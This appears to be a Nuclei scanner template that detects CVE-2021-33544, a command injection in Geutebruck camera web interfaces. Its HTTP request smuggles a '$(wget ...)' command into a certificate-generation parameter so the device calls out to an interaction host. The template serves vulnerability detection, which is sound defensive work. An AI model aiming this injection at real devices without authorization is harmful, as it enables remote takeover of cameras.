id: CVE-2021-33544

info:
  name: Geutebruck - Remote Command Injection
  author: gy741
  severity: high
  description: Geutebruck is susceptible to multiple vulnerabilities its web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
  remediation: |
    Apply the latest security patches or firmware updates provided by Geutebruck to mitigate the vulnerability.
  reference:
    - https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/
    - https://www.randorisec.fr/fr/udp-technology-ip-camera-vulnerabilities/
    - https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03
    - https://nvd.nist.gov/vuln/detail/CVE-2021-33544
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2021-33544
    cwe-id: CWE-78
    epss-score: 0.97519
    epss-percentile: 0.99984
    cpe: cpe:2.3:o:geutebrueck:g-cam_ebc-2110_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: geutebrueck
    product: g-cam_ebc-2110_firmware
  tags: cve,cve2021,geutebruck,rce,oast

http:
  - raw:
      - |
        GET //uapi-cgi/certmngr.cgi?action=createselfcert&local=anything&country=AA&state=%24(wget%20http://{{interactsh-url}})&organization=anything&organizationunit=anything&commonname=anything&days=1&type=anything HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

# digest: 490a004630440220569b5df62916beab01669fdbabfaf2d6ca8b2c26258a3fde06737e8f873b6e0e02203544f4572f96c868db5cbbb6650ea9ee12227f16b5008739c3efcd5f690647d9:922c64590222798bb761d5b6d8e72950